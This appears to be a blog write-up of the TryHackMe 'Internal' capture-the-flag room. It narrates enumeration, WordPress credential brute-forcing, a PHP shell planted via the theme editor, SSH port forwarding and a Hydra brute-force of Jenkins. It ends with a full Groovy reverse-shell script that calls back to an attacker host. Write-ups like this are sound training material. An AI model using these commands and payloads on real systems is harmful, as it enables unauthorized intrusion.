Internal — Tryhackme
If you're looking for a good challenge following your recent <insert-certification-name-here>, you'll find one in Tryhackme's Internal room. Here's how I set about finding the solution.
As always, I snoop around the ports with nmap. Scans show two ports open—port 22 and port 80.
Instead of navigating to the website right off the bat, I further enumerate the website with dirsearch.py and Nikto.
It's a bit of a departure from my usual M.O., but I've started to use all the tools I can to enumerate the target ports before interacting with the services behind them at all. The reasoning behind this is that I want to try and mitigate the temptations to fall down rabbit holes.
Was it effective?
Dirsearch gives me the most useful information back, showing both Phpmyadmin and Wordpress running on the box.
I decide to attack Wordpress first. Wpscan comes back with some good information. When I did the Mr. Robot box last year, I learned about Wpscan's ability to brute force login information for Wordpress sites. After that experience, I copied down the command I used for that box and use it frequently when I'm attacking other CTF machines.
The command was: wpscan --url http://<url> -e at -e ap -e u -P <path-to-wordlist>. If you don't have a list of frequently used and/or useful commands or notes, I highly recommend it.
Now that I've got some credentials, I can login and make with the reconnoitering.
Going back to the Wordpress site after I've been logged in shows me a not-so-private note about updating some creds for William. I note it and continue on.
There's a good article at https://www.hackingarticles.in/wordpress-reverse-shell/ that gives a few options for getting a shell from a vulnerable Wordpress site. Again, using my previous experience, I can see there's a very good chance I can get in via Wordpress.
But before escalating the attack to the next level, I'm curious where the Phpmyadmin site goes.
Seachsploit doesn't give me any good options for the version of Phpmyadmin or the apps working on it.
However, it does give me a verbose Mysql error when I try to log in with test credentials or with basic SQL injection methods. Maybe it's vulnerable to SQLi.
May the testing commence!
I spent entirely too long trying to get various permutations of SQL injection to work with no results. This was a rabbit hole that I was avoiding and yet I stepped into it willingly! What can I say, I was curious if I could get it to work.
After spending all that time with no results, I go back to the Wordpress site.
The attack vector is in the Wordpress theme.
By navigating to the theme editor, you can select an arbitrary .php page and overwrite its code with a PHP shell of your own and then navigate to that page to activate the shell. In this case, I'll overwrite 404.php.
Before navigating to the 404.php page, be sure to set up a Netcat listener on your port of choice.
Now that I've penetrated the server, I do some preliminary poking about.
I can't access the user folder, so I start to think about privilege escalation.
My initial plan of attack involves using Linpeas to enumerate the system but before doing that, I hop into /opt on a whim. It even accepted my errant DOS command for listing out a directory without complaining.
And what do you know? It turns out there are some tasty creds sitting there in the open!
I kill the PHP shell and hop back in with SSH as Aubreanna and check out her home directory. There's mention of a Jenkins service running on 172.17.0.2:8080 as well as the user flag.
I continue with my original plan of using Linpeas to enumerate the machine further and it shows a listening service on port 8080. No doubt this is the Jenkins service mentioned in Aubreanna's home directory.
To get to Jenkins, I have to use reverse SSH port forwarding to forward port 8080 from he internal machine to a port of my choosing on my machine.
The command used for this is: ssh -L 8080:172.17.0.2:8080 aubreanna@10.10.225.146.
Voila! Now I have access to the Jenkins login page. But how to hop on? My first idea is to use Burpsuite to fuzz the login. Of course, I have to change the proxy port to 8081 since I decided to port forward to 8080.
However, since I only have access to the free edition of Burpsuite, the fuzzing functionality is extremely slow. Maybe it won't take an extremely long time.
I'll just check up on my fuzzer and see how its progress is going and...
Oh my god. This is excruciating.
There's another option with ZAP, but I've never used it before. No time like the present, right?
It was easy to feel my way to the functionality that I need, but apparently ZAP doesn't like the size of rockyou.txt. I sought out another smaller password list and end up settling on the list located in /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt.
ZAP works so much faster, and it's even nice enough to put the result with the shortest response length on top of the results for me. But is that the only way to fuzz this login?
Hydra is typically my goto. In fact, it was the first tool I used for brute-forcing the login but I didn't get much luck with the command syntax.
I knew there was a way to do it since ZAP and Burpsuite both found the correct answer (Burpsuite found it around an hour into the fuzzing, whereas ZAP was almost instantaneous). So here's another self-inflicted rabbit hole. Or rather, a problem that I wouldn't be happy with until I've solved it.
I tried several different methods in an attempt to tell Hydra what was a false response. Stuff like, “if the header Location wants to redirect to http://127.0.0.1/loginError, that's bad and move on, m'kay Hydra?”
That didn't work, and it turns out the syntax for it was a little more troublesome and particular. It was silly, really because it ended up being simpler than the commands I was using before. What I ended up using was:
hydra -l admin -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt -s 8080 127.0.0.1 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&Login=Login:Invalid username or password" -V -e nsr
There it is! I just needed to fiddle with it for awhile.
After having discovered three ways to brute-force my way past the login, I figured it was time to move forward.
One method you can use to penetrate a Jenkins machine is to use the Groovy scripting console located in the Manage Jenkins tab.
On the script console page, use this script to have the Jenkins machine send a reverse shell back to your attack box:
String host="<ATTACK BOX IP>";int port=<WHATEVER PORT YOU WANT>;String cmd="bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();My Netcat listener catches the reverse shell after I execute the scriptand now I'm on the Jenkins machine.
Just for giggles I go to the /opt directory first thing and root's creds are sitting there just for me!
All that's left is to SSH as root into the Internal box and collect the root flag as my trophy.
This was a challenging box in practice. Simultaneously, it seemed pretty straight forward in retrospect. The rabbit holes I fell down were largely of my own making.
So, did my change of methodology help to mitigate rabbit hole adventures? Well, yes and no. It did in that it helped me navigate them more effectively. Also, no in that the rabbit holes I did fall down I dug myself.
Overall, this box was a good time! I learned a bit more about Jenkins and it was nice to get the opportunity to use reverse SSH port forwarding.
More info:
https://www.hackingarticles.in/wordpress-reverse-shell/
https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6
See you, Space Cowboy...
Comments
Post a Comment